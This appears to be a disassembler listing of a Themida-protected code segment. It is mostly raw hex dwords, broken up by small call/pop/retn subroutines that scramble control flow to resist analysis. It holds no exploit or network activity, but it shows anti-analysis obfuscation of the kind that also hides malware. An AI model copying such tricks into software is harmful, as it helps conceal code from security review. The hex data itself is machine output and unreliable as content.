		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 6AC08Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 39AC03C3h, 68E0FF4h,	81000000h, 69ADBFEFh, 56006A01h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 77C54B2Eh, 0CDFB92A3h, 13E853h, 187E0000h, 696939EBh
		dd 9B2838B9h, 7EA68CCEh, 38BCB610h, 0FE855h, 67FC0000h
		dd 0B614C5D6h, 0CC96C448h, 0FCB21931h, 5B5F5BFFh, 0BD83DE8Bh
		dd 6142671h, 0A8850F03h, 6A000003h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 51EAC357h
		dd 0AA98BD83h, 0F000617h, 37E84h, 0D9850100h, 0FF061423h
		dd 17AA98B5h, 5CBB6606h, 0F595FFCAh, 0E906142Ah, 12h, 62356433h
		dd 0DF11E99Fh, 796EEBA7h, 0E84B532Fh, 0B58B2D9Eh, 617AA8Ch
		dd 9E8h, 95B34600h, 6B19E8FCh, 0EE937DAh, 77000000h, 0DA37E577h
		dd 516A38DBh, 0FB4F9DE3h, 6C75FE8h, 10001h, 0C118D89h
		dd 0F500614h, 382h, 0DF8B6600h,	0E9243489h, 0Dh, 0A4C69E73h
		dd 44D31BF1h, 0EBA92081h, 98B5FF58h, 6A0617AAh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 665DC356h, 95FFF88Bh, 6140B31h, 305DBD8Bh, 0B58B0614h
		dd 617AA8Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0D0C35040h, 0F152AE9Dh,	4E1E89F9h, 0D5858BAAh
		dd 81061421h, 0D236BCDFh, 89FC8A77h, 0C486h, 0DFBF0F00h
		dd 3229958Bh, 0B5090614h, 61423E1h, 0BB04C283h,	2F5E797Fh
		dd 0E9205089h, 12h, 63486B77h, 0AA1FA414h, 6DBAD566h, 0DD6BF4Eh
		dd 858DB20Dh, 617BE06h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0E8C35141h, 10E96CACh, 85BD890Bh, 89061416h
		dd 0B886h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 0BB3A4924h, 0CB81A4CCh, 0ADD3BD0h
		dd 0BF66006Ah, 0B5FF11DDh, 617AA98h, 93995FFh, 89500614h
		dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 9D23D6C3h, 6140C95h, 0AA98B5FFh, 6A0617h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8B510BC3h, 141CA99Dh, 0F595FF06h, 0F061420h,	0F83h
		dd 9E800h, 0EBD80000h, 0D3AF8279h, 5FCC5898h, 0C21BD83h
		dd 0F000614h, 3484h, 96D98B00h,	56525050h, 0F5FDF8Bh, 5B575031h
		dd 96585A5Bh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 19h,	10C35141h, 9158C319h, 98B5FF4Ah, 6A0617AAh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 91E5C350h, 7178274Dh, 95FFEBD5h, 61402B1h, 0FF67DF80h
		dd 17AA98B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 515F89C8h, 89EE061Eh, 141A21BDh
		dd 8195FF06h, 0F061430h, 0BD83F9B7h, 61409F5h, 87840F02h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0D0BEC352h, 89578580h,	141FBD85h
		dd 858B5F06h, 6142D01h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0D7C35141h, 0C8AE73F8h, 4DBD8BFFh, 6006140Dh
		dd 15319529h, 8C0F0614h, 2, 0C661D98Bh,	6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 6D98EEC3h, 85C7CD34h, 614244Dh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_59268F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59268F	proc near		; CODE XREF: Themida_:00592687p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_59268F	endp

; ---------------------------------------------------------------------------
		db 4Bh
		dd 0AE8h, 3EE50C00h, 0EE0B307Dh, 0E9672A0Fh, 8,	1184EAB4h
		dd 0D6E5742Ch, 6D85895Fh, 0E9061402h, 0FFFFF3E5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0AC35242h, 85B52923h
		dd 8B061434h, 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0EDF0BCAEh, 92B5920Dh, 858D910Dh
		dd 6140F99h, 3840Fh, 0BF0F0000h, 0E96090FEh, 0Ah, 0F821921h
		dd 125F741Eh, 99BBE3F0h, 614A2345h, 49BB5350h, 5B23CBC9h
		dd 50006A90h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 6AF5F9D5h, 0D8B70F00h, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 661818C3h, 0D1F9F381h, 9D37858Dh, 6A0618h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0CA7045C3h
		dd 9D8BC5A4h, 6141C01h,	6A05C083h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0F36DC357h
		dd 0BD8B4543h, 6141AA9h, 0FE95750h, 0EF000000h,	5961AA80h
		dd 0ACC1C05Bh, 0C18F3497h, 895F4661h, 80B32404h, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0DA116AC3h, 0AC40B2F5h, 8A0F3104h, 6, 9298589h, 0C3810614h
		dd 262967B3h, 8D89006Ah, 6141725h, 1A7195FFh, 6A0614h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 70B971C3h, 8D89259Eh, 6141A89h, 0A8FC8D8Dh, 81600617h
		dd 109140EAh, 0FF61F94Bh, 50006AD1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0E9CDFA8Dh
		dd 11h,	5952867Ch, 6A5D5C76h, 8EF4FE44h, 0FABCD83Fh, 0CDBD8346h
		dd 1061412h, 60850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 847D6AC3h, 26619D89h
		dd 26A0614h, 0BCC78166h, 13E950B1h, 0A1000000h,	0C0368D5Eh
		dd 5879F1D2h, 1FD58DF7h, 6C76A9D5h, 48917FBh, 95FFF924h
		dd 6140939h, 1404BF66h,	0E9858960h, 8B061414h, 1400C185h
		dd 56E96106h, 0E800000Eh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6189D41h
		push	0
		push	eax
		call	sub_592932
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592932	proc near		; CODE XREF: Themida_:0059292Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_592932	endp

; ---------------------------------------------------------------------------
		add	eax, edi
		ror	byte ptr [ecx],	8Dh
		cdq
		sbb	eax, 6A0614h
		push	edx
		call	sub_592956
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592956	proc near		; CODE XREF: Themida_:0059294Ep

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_592956	endp

; ---------------------------------------------------------------------------
		dw 0C52Bh
		dd 75EC4617h, 9623858Dh, 6A0617h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 857FC2C3h, 0BF0F252Ah
		dd 0D88B50F9h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 2C4C356h, 66C8547Eh
		dd 0D3ECE781h, 35FF64h,	8B000000h, 1416DDBDh, 25896406h
		dd 0
; ---------------------------------------------------------------------------
		mov	bx, 2C9Ah
		inc	dword ptr [ebp+614236Dh]
		push	0
		push	ebx
		call	sub_5929E9
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5929E9	proc near		; CODE XREF: Themida_:005929E1p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5929E9	endp

; ---------------------------------------------------------------------------
		db 8Bh,	6Ch, 0BEh
		dd 37DCBEF5h, 10E94Bh, 0FBC0000h, 150E8828h, 4D246358h
		dd 558560FCh, 0FF6AED16h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 0A1C35040h, 29D38166h, 1A8F0F98h, 0E8000000h
		dd 0Eh,	7775915h, 3C8EB3B1h, 94EB05E1h,	8D89131Eh, 61415C1h
		dd 4DB5FF5Fh, 6A06140Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 528BC351h, 82DE7EACh
		dd 38B0Fh, 0BF0F0000h, 1995FFDBh, 0E906142Bh, 110h, 0B0F8B70Fh
		dd 81853100h, 0E6061404h, 999D2370h, 6606141Ch,	921FEB81h
		dd 0B58971E4h, 61431CDh, 830F613Ch, 0E8h, 10EDBD8Bh, 0B60F0614h
		dd 0B800FC8h, 0E9000000h, 6, 0CA04EF2Eh, 6BA3F80h, 8B000000h
		dd 0FBF66C1h, 6D9D8B07h, 0C106141Dh, 0BD8B04E8h, 6141D05h
		dd 89E2F766h, 14170195h, 89C82B06h, 1408CDB5h, 0DD8D8906h
		dd 8B06142Ah, 10E8D1h, 0F4280000h, 0B2CBF600h, 0FF7040C6h
		dd 0ED7D1D30h, 0BB6649F8h, 0E95BC70Fh, 6, 34699D8Bh, 858B0614h
		dd 6141AB9h, 655BD8Bh, 0C0830614h, 0E9F6B307h, 10h, 1F686A8h
		dd 28EDEDD0h, 46A49D76h, 0E168DD23h, 0F00C083h,	189h, 0D03BFC00h
		dd 16830Fh, 95890000h, 61421B9h, 33E9h,	5296BF00h, 0BD894E45h
		dd 61403B1h, 2A058D8Bh,	0E1830614h, 19840F01h, 0FC000000h
		dd 2A05A583h, 1FE0614h,	14033D95h, 0B9958906h, 0E906141Ah
		dd 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+6180450h]
		jl	loc_592BB6
		sub	ebx, 3C31724Fh


loc_592BB6:				; CODE XREF: Themida_:00592BAAj
		push	0
		add	[ebp+6141C39h],	edi
		mov	[ebp+6141BB9h],	ebx
		call	dword ptr [ebp+6141169h]
		push	0
		push	esi
		call	sub_592BD5
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592BD5	proc near		; CODE XREF: Themida_:00592BCDp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_592BD5	endp

; ---------------------------------------------------------------------------
		db 9Eh,	5Bh, 4Fh
		dd 0B70FD769h, 7EAB9FBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 83CA23C3h, 8C0FFCE1h
		dd 3, 0FCD98B66h, 0B8h,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0E36325A5h, 0B3D3F837h
		dd 0D22BFAF0h, 2E15BD8Bh, 33AD0614h, 3E8D1C2h, 4E983D0h
		dd 880FF475h, 1, 50006AF5h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0F5E9104h, 58Dh, 7DAFBB00h
		dd 81662825h, 0D49B3EBh, 88h, 1FF19509h, 958B0614h, 6143229h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 12C35242h
		dd 53639528h, 0BB34373Fh, 697611F3h, 64D8D8Bh, 0BF0F0614h
		dd 0C28B50FEh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0F58188Bh
		dd 788h, 1870F00h, 0F5000000h, 1A219D23h, 6A0614h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 724C33C3h, 69122ECAh, 3C381BCh, 8343CB59h, 1429ADBDh
		dd 840F0006h, 3Bh, 2229BD89h, 9D8B0614h, 6142D61h, 0B8h
		dd 11E900h, 0D3750000h,	0B526433Eh, 774C86CEh, 0D8CC0F20h
		dd 8DC0D843h, 144D798Dh, 0CD8D8906h, 0FF061423h, 0B1BD09E1h
		dd 83061416h, 142671BDh, 840F0006h, 41Eh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 0BEC35646h, 0B765B8BAh
		dd 71BD83CCh, 1061426h,	40B840Fh, 0FE80000h, 3B000000h
		dd 1C0BEE8Fh, 8FDE3538h, 21BBA5CBh, 8D895397h, 61414B1h
		dd 71BD835Fh, 3061426h,	3AD860Fh, 800F0000h, 5,	3CCB8166h
		dd 6A60AFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0CF808DC3h, 0C99D8919h, 66061415h, 6AD98Ch
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 107FE7C3h, 80FE8B66h, 0C90A04E1h, 0C2840Fh, 0FE8B0000h
		dd 1969858Bh, 0FA8B0614h, 1B818533h, 0F7800614h, 0DA8B50C9h
		dd 6A240489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 2132C357h, 780E3568h, 89006A3Eh
		dd 141B2DBDh, 4E806h, 3FF0000h,	81B7001Fh, 0E8BF6650h
		dd 24448B56h, 0CE904h, 0F3B10000h, 0E2099767h, 28A5663Ah
		dd 8B227Eh, 66525053h, 0F9E00BFh, 747CBF31h, 585A6E0Dh
		dd 2444895Bh, 0F525004h, 0F311BB31h, 585A7C77h,	0AD95FF58h
		dd 31061409h, 14224DB5h, 98858906h, 0E90617AAh,	21Ah, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 27C35343h, 6A436231h
		dd 0AA90858Bh, 6A0617h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 68B72CC3h, 9FBB7D7Bh, 0C76EC035h
		dd 1800h, 13E95100h, 0E0000000h, 0C074CB6h, 0A008D39Fh
		dd 6C3AD078h, 97D7163Fh, 8B5F2EB9h, 17AA94B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0B983AF72h, 0FE8BD6C2h, 0B29858Bh, 11E90614h, 0F0000000h
		dd 0F42E14FDh, 0D4FE24FEh, 0ACD3C39Ah, 32FDEE29h, 6A0689h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 64A48BC3h, 0C06F4194h, 0B30BCB95h, 69858BE1h, 6A061419h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 11B5C355h, 8EF0C7F3h, 0C9DE27C3h,	2E49BD8Bh
		dd 0E8600614h, 0Ah, 44331D16h, 645BFDE1h, 0B58B33DDh, 6142FADh
		dd 0A5858959h, 6106142Fh, 50044689h, 0DE85260h,	0CD000000h
		dd 1AA3FF59h, 0FD3F469h, 2C5B4539h, 52505958h, 310F6160h
		dd 310F5250h, 585A585Ah, 24348961h, 0B5FFA8B3h,	617AA90h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0A3C35242h
		dd 602A6DDEh, 6890Fh, 95890000h, 61405C1h, 82008ABFh, 6B686128h
		dd 66EEBE25h, 481DE8Bh,	60DE9424h, 858DF811h, 617AA98h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 37C35747h
		dd 889955D6h, 8B6650C9h, 0E9505FD8h, 0Dh, 6FAD327Eh, 4DB56F9Ch
		dd 36F52603h, 24048978h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0F7C35646h, 477EC701h, 9D035227h, 614151Dh
		dd 5B1BD89h, 95FF0614h,	61409ADh, 1655BD8Bh, 1610614h
		dd 142C3585h, 7185C706h, 3061426h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 8F07C351h, 763D57FAh, 0FB658A58h, 3141BD23h,	0BD830614h
		dd 617AA98h, 48840F00h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0ECE1C352h
		dd 110B099Eh, 3BE99409h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 1A15C353h
		dd 5028B3EBh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 5FF8B3C3h, 813DD8F6h, 8906E11Fh
		dd 1429B9B5h, 0BE806h, 0E3E80000h, 5429C2AAh, 5BC791Dh
		dd 14E958h, 0B8030000h,	4DC579B4h, 0F9AAC813h, 740C2E5Ch
		dd 94CBC005h, 835F1E3Eh, 142671BDh, 850F0306h, 4E5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 1DC35141h, 526A9B44h
		dd 54A652B5h, 98BD83F0h, 617AAh, 4B3840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0E1A35CC3h, 0EC076C22h, 0B5FF8844h, 617AA98h, 2AF595FFh
		dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0E53698C3h, 9F4D9940h, 0B58BFCEAh, 617AA8Ch
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 40C35343h
		dd 0EEFCB37Fh, 0E83848BAh, 14h,	9E6ACF88h, 8D46E6BFh, 70D8532Eh
		dd 6E81CA67h, 0AD2A1D37h, 0C75BF88Bh, 1000106h,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 592AC196h, 58CAAC9Eh, 92D78166h, 12E95084h, 41000000h
		dd 4922AC36h, 0E7B13378h, 0AC2C6962h, 98037F50h, 24348968h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0D5C35343h
		dd 71CAB74Eh, 0F95B531h, 9D8B0614h, 614114Dh, 0AA98B5FFh
		dd 9D8B0617h, 6140EA1h,	0B3195FFh, 6A0614h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0F215C8C3h
		dd 0FC57B3C8h, 9E8h, 326BF100h,	0E7D04F8h, 0B70F7230h
		dd 0B5895BF9h, 6142071h, 0AA8CB58Bh, 6A0617h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 440032C3h
		dd 21BCB5DCh, 0E95528D2h, 6
		dd 6A9B441Dh, 858BB552h, 61421D5h, 0C659D8Bh, 86890614h
		dd 0C4h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	85C35242h, 148E954h, 0FE114632h, 29958B3Fh, 0BB061432h
		dd 58928F05h, 0F04C283h, 5089DFBFh, 55006A20h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 633BAEA4h
		dd 0EC5E1E99h, 4BDB531h, 8B660614h, 0DF8160FAh,	13FDCB7Bh
		dd 15519D8Bh, 8D610614h, 17BE0685h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0ECB6405Ch
		dd 9B520805h, 11E8h, 0DE684400h, 5A0B5CC4h, 8EC80718h
		dd 2A894D8Bh, 0BD8B6DD1h, 6141951h, 0FBBF0F5Fh,	0B88689h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 7A5E04C3h, 6A59A6C1h, 0C82BB00h, 0B5FF7B17h
		dd 617AA98h, 178D0Fh, 12E90000h, 36000000h, 7C1E87F0h
		dd 5C865EF8h, 0DBA75CDh, 0A72F4D29h, 3995FF3Bh,	8B061409h
		dd 142B4D9Dh, 52505006h, 11E9h,	6FC4BF00h, 0BDAF8C0Dh
		dd 0D978BF10h, 9943272Eh, 310FC93Eh, 29CFBFBFh,	89585A20h
		dd 0FFF52434h, 17AA98B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0E519CA6Fh
		dd 1A88B479h, 0FE882E0h, 5F000000h, 0DBB0ABF8h,	877E075Eh
		dd 0E5821F0Ch, 81669614h, 5FD8B4E3h, 7307E381h,	95FF3F86h
		dd 61420F5h, 28B0Fh, 0DEB30000h, 68A0Fh, 0B5890000h, 6140025h
		dd 0C21BD83h, 0F000614h, 1684h,	2CF78100h, 500AEE65h, 840Fh
		dd 34890000h, 1B50124h,	0FF061409h, 17AA98B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 1D8F0FF8h, 0E8000000h, 11h, 942BCAB1h, 0A46258DEh, 88E1491Dh
		dd 0E6B1B0A1h, 8A0F10h,	5B000000h, 2B195FFh, 85890614h
		dd 6142B69h, 5820Fh, 81660000h,	0FF9E7EDBh, 17AA98B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0C5BEBCFCh, 3171FC4Ch, 7840Fh, 66560000h
		dd 34EFD781h, 0DF8B665Fh, 308195FFh, 0BD8B0614h, 6142E2Dh
		dd 9F5BD83h, 0F020614h,	6384h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 848F31CAh
		dd 9D339C24h, 6141505h,	2D01858Bh, 0D7810614h, 751B01h
		dd 6A0000C6h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 44FFC355h, 345900FDh, 0BA606099h
		dd 0D9CA9C5h, 61CA8B61h, 244D85C7h, 614h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0EE98CC3h, 82000000h, 5F741E0Fh, 32E3F012h, 0B2A89780h
		dd 0F300E955h, 6AFFFFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 314C37C3h, 1434F5B5h, 6AC18B06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0B84AC353h, 0B1982215h, 0FE9DEh, 30B00000h
		dd 0BE875064h, 0B240F87Eh, 3013B5BDh, 99858D41h, 8906140Fh
		dd 141429B5h, 92BB5006h, 897C0308h, 0DBBF2404h,	2942FDD3h
		dd 140E8985h, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0FAEFC355h,	8166F5B7h
		dd 6ABC0FF3h, 5E858D00h, 6A0618ADh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 419EC356h
		dd 2EB18851h, 2042BB8Fh, 0C083161Eh, 57006A05h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0B9A71D62h
		dd 74FBC781h, 8B501F37h, 240489FEh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 7AC35040h, 6AE785h,	22F5BD8Bh
		dd 6A0614h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 15h,	0C2C35242h, 0D2DF80C8h,	1A7195FFh, 6A0614h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0E99E98C3h, 0Eh, 0C59DB129h,	807B6D69h, 65EA7746h, 8D8D271Bh
		dd 617A8FCh, 8810Fh, 810F0000h,	2, 0D1FFFA8Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 82C35141h, 235DBD8Bh
		dd 0BD830614h, 61412CDh, 66850F01h, 0F000000h, 1E8Bh, 12E800h
		dd 2DA50000h, 430D84E6h, 0AF816DFFh, 9F714218h,	0CF3F5BEEh
		dd 0CACDD781h, 665B61C8h, 4C90C781h, 8D89026Ah,	6141505h
		dd 0FA8B6690h, 0BF665750h, 905BC6A2h, 0FFBBCF80h, 14093995h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0C2BC00FAh, 0D8AE9FBh, 0E80000h,	5D000000h
		dd 0AD68ED81h, 0BF0F0618h, 55006AFBh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0B5898447h
		dd 6142C4Dh, 9623858Dh,	66900617h, 501458BFh, 0DD9D8B90h
		dd 64061400h, 35FFh, 9D8B0000h,	6140025h, 258964h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0F2BC353h, 3694A321h, 85FFBFB9h, 614236Dh
		dd 71E38166h, 319589F1h, 6A06141Bh, 55BD8BFFh, 0FF06141Bh
		dd 141071B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0EB80EE52h, 0CEF7810Eh, 0F021317h
		dd 95FFDABFh, 6142B19h,	104E9h,	0B0F88B00h, 0F7D78100h
		dd 0E61F6259h, 2830F70h, 8B000000h, 0E98D89D9h,	0E4061418h
		dd 0E7C38171h, 3C4C1CE7h, 0DA830F61h, 81000000h, 0E194A8F7h
		dd 91BD2908h, 0F06141Ah, 0B589C8B6h, 614082Dh, 6BAh, 8BDE8B00h
		dd 0FE9C1h, 0F130000h, 0D1555E79h, 0B79A30E6h, 74153276h
		dd 4E8C1ACh, 8258589h, 0F7660614h, 0FE9E2h, 0B1320000h
		dd 0AC4E48F0h, 0CD2F135Ah, 11AC9B96h, 81C82B24h, 0AE84DBD3h
		dd 9D18B2Dh, 1404A5B5h,	6E906h,	0BD230000h, 61412C9h, 19F5858Bh
		dd 8D310614h, 61410C5h,	0F07C083h, 0C083DEBFh, 89575000h
		dd 142131B5h, 3B5B5F06h, 11830FD0h, 89000000h, 1406A99Dh
		dd 3BE906h, 8D890000h, 61406DDh, 20B58D8Bh, 0DF8B0614h
		dd 0F01E183h, 2484h, 1DBD8900h,	83061425h, 1420B5A5h, 9529FE06h
		dd 614267Dh, 19F59589h,	95890614h, 6140431h, 0E9h, 0C5B58D00h
		dd 6A06180Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 520AC350h, 93461415h, 2DBB66A9h
		dd 80006A1Bh, 95FF8FF3h, 6141169h, 0C13CD781h, 9DB94FDCh
		dd 66000007h, 83C117BBh, 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0D4BF5CC3h, 56006AFCh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 3844C0Dh, 71EF014Fh,	0FE92902h, 20000000h, 27882F8h
		dd 0BE291C2Ah, 131F23A8h, 0C02BB8C2h, 0C8E0Fh, 8E0F0000h
		dd 6, 223DB531h, 0D22B0614h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 68C35646h
		dd 843EDA00h, 3F282C25h, 0BBD9D03h, 33AD0614h, 3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0BD8B33C3h, 61406D1h, 51006AFCh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0EB93C8D2h, 4C69C26Ah, 0CA99D8Bh, 880D0614h,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 351FC356h, 9915E92Bh, 958B60C8h, 6143229h
		dd 0C2816660h, 958B6819h, 6141FD9h, 4D8D8B61h, 6A061406h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 5177C356h, 0BD2B4266h, 6142B39h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 19F172C3h
		dd 0F2F04F2h, 89h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 123D9BCDh, 4D909296h
		dd 0ADBD8330h, 61429h, 52840Fh,	810F0000h, 5, 0F5C38166h
